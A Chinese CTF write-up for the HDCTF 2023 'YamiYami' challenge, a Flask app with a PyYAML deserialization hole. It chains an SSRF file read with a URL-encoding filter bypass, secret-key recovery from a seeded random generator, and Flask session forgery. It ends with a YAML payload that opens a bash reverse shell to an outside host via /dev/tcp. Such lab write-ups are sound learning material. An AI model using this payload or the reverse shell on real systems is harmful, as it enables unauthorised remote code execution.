• [HDCTF 2023]YamiYami


    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


    前言

    从暑假末尾一直搁置,当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后,直接拿下此题,学习了好几个没学过知识。


    涉及知识点

    1. Yami反序列化
    2. session伪造
    3. seed生成伪随机数
    4. 反弹shell
    5. 读取源码

    解题详细过程

    打开题目,大概看一下不同功能
    在这里插入图片描述第一个Read应该是可以读取代码
    然后第二个可以上传文件
    最后一个点进去发现提示我们查看/app
    我们点击第一个链接,输入

    ?url=file:///app/app.py
    
    • 1

    在这里插入图片描述发现不行,那么我们用url二次编码绕过

    app/app.py  -->  %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579
    
    • 1

    成功得到源码
    在这里插入图片描述我们整理一下,源码如下

    # encoding:utf-8
    import os
    import requests
    import re, random, uuid
    from flask import *
    from werkzeug.utils import *
    import yaml #问题所在 pyyaml反序列化
    from urllib.request import urlopen
    
    app = Flask(__name__)
    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random() * 233)
    app.debug = False
    BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
    app.config['UPLOAD_FOLDER'] = "/app/uploads"
    
    
    @app.route('/')
    def index():
        session['passport'] = 'YamiYami'
        return '''
        Welcome to HDCTF2023 Read somethings
        
    Here is the challenge Upload file
    Enjoy it pwd ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport") == "Welcome To HDCTF2023": LoadedFile = request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__ == '__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98

    分析一下
    定义了load()函数,用于处理/boogipop路由的请求。看看if条件,先是对session值进行验证,然后获取文件名。最后可以发现存在反序列化漏洞,因为yaml.full_load() 对用户上传的文件进行反序列化操作。

    再看看upload_file()函数,就是对上传文件进行验证,拓展名是否在黑名单中。

    这里的上传黑名单禁掉了Yaml等,这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了

    为了绕过load()函数的if条件限制,我们首要目的是session伪造

    session伪造

    其中密钥的获取方法,题目已经告诉我们

    random.seed(uuid.getnode())
    app.config['SECRET_KEY'] = str(random.random() * 233)
    
    • 1
    • 2

    关于uuid.getnode()函数

    uuid.getnode() 是 Python 中的一个函数,用于获取本地计算机的 MAC 地址(物理地址)作为一个 48 位整数。它属于 uuid 模块,用于生成和操作 UUID(通用唯一标识符)。

    对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

    ?url=file:///sys/class/net/eth0/address
    
    • 1

    在这里插入图片描述生成伪随机数脚本

    import uuid,random
    random.seed(0x0242ac02ad42)
    print(str(random.random()*233))
    
    • 1
    • 2
    • 3

    生成后,用工具flask-session-cookie
    解密

    python flask_session_cookie_manager3.py decode -s "76.57659277973795" -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8"
    
    • 1

    加密

    python flask_session_cookie_manager3.py  encode -s "76.57659277973795" -t "{'passport': 'Welcome To HDCTF2023'}"
    
    • 1

    在这里插入图片描述准备好session

    反弹shell

    要上传的反弹shell脚本,命名为1.txt

    - !!python/object/new:str
        args: []
        state: !!python/tuple
        - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/f57819674z.imdo.co/29964 0>&1\"')"
        - !!python/object/new:staticmethod
          args: [0]
          state:
            update: !!python/name:exec
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在上传界面上传,然后访问./boogipop?file=uploads/1.txt
    发现不行(这里就要用到伪造的session)
    在这里插入图片描述
    我们先打开kali监听一下

    nc -lvp 1028
    
    • 1

    然后bp抓包,修改session值

    在这里插入图片描述
    成功反弹shell

    在这里插入图片描述ls一下,发现flag.sh是假的
    真的flag在/tmp里,得到flag

    在这里插入图片描述

  • 相关阅读:
    安装sharepoint订阅版过程
    【PHP】php中JSON或数组到formData的键值对转换
    使用 pubsub-js 进行消息发布订阅
    vue自定义指令directives
    【数据结构与算法学习】线性表(顺序表、单链表、双向链表、循环链表)
    zabbix自定义模板,邮件报警,代理服务器,自动发现与自动添加及snmp
    UVA 11054 Gergovia的酒交易 Wine trading in Gergovia
    【机器学习-周志华】学习笔记-第八章
    SpringCloud之Eureka注册中心和负载均衡
    typescript: 类型“NodeListOf<xxx>”必须具有返回迭代器的 “[Symbol.iterator]()“ 方法。ts(2488)
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/132723637